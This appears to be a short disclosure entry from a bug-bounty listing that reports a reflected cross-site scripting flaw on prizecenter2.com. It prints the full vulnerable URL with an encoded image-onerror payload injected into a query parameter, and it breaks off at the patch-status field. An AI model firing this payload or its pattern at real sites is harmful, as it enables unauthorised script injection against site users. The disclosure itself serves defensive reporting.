prizecenter2.com XSS vulnerability

Vulnerable URL: http://prizecenter2.com/lps/thrive/android/hp/win/nl/winiphone7google/index.php?tzt=nl=TNC=4557==%7Bcmpid%7D=Ziggo==%22%3E%3Cimg%20src=x%20onerror=prompt%27OPENBUGBOUNTY%27%3E=51f5d21ac894567d28070051=ron=NLpf=android=wifi=50qz0l3603uu Details: Description| Value ---|--- Patched:|...